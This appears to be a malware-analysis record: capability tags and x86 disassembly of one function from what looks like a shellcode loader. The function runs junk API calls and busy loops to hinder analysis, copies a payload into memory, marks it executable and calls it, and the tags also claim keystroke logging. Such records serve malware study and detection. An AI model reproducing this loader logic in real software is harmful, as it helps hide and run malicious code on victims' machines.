Function at 0x4038c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43ab58
push eax
mov dword fs:[0], esp
sub esp, 0xc28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x403906
inc esi
cmp esi, 0x67d12
jl 0x4038ef
cmp dword [0x5e22c4], 0x93
jne 0x403a21
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebx
lea eax, [ebp - 0xc34]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push ebx
push ebx
lea ecx, [ebp - 0x434]
push ecx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DdeQueryStringA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov ecx, dword [ebp - 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0x403298
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
call fcn.00404bf0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x34]
call fcn.00403d80
push ebx
mov dword [ebp - 4], ebx
push 0x403286
push 0x4543d8
call fcn.00404695
call fcn.0040429d
push ebx
call fcn.00404d78
push ebx
call fcn.00404da7
push ebx
push ebx
call fcn.00404e4f
push ebx
push ebx
call fcn.00404db2
add esp, 0x24
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0x10
jb 0x403a21
mov eax, dword [ebp - 0x34]
push eax
call fcn.00404dbd
add esp, 4
mov eax, dword [0x5e22c4]
mov ecx, dword [0x43f78c]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e3100], ecx
mov dword [0x5e22c4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x5e22c4]
lea edx, [ebp - 0x14]
push edx
push 0x40
push ecx
push eax
mov dword [0x5e1d54], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov esi, 0x1692e
nop
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x434]
push edx
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x403a70
cmp dword [0x5e22c4], esi
jbe 0x403afa
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x5e3100]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x5e1d54]
mov byte [edx + esi], cl
cmp dword [0x5e22c4], 0x490
jne 0x403af1
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e22c4]
jb 0x403a9e
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov ecx, dword [0x5e22c4]
add ecx, esi
cmp ecx, 0x8d
jne 0x403b50
push 0
lea edx, [ebp - 0x434]
push edx
push 0
push 0x4032a8
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x403b08
call fcn.00403660
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
xor esi, esi
call edi
cmp esi, 0x61
jne 0x403b82
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x11410
mov eax, dword [ebp - 0x10]
add dword [0x5e1d54], eax
inc esi
cmp esi, 0x674bd
jl 0x403b68
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_HeapWalk]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x5e22c4], 0x86
jne 0x403be3
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea ecx, [ebp - 0x834]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5e22c4], 0xf
jne 0x403bfa
push 0
push 0
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 0x10]
jne 0x403ba4
push 0x4032ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e1d54]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret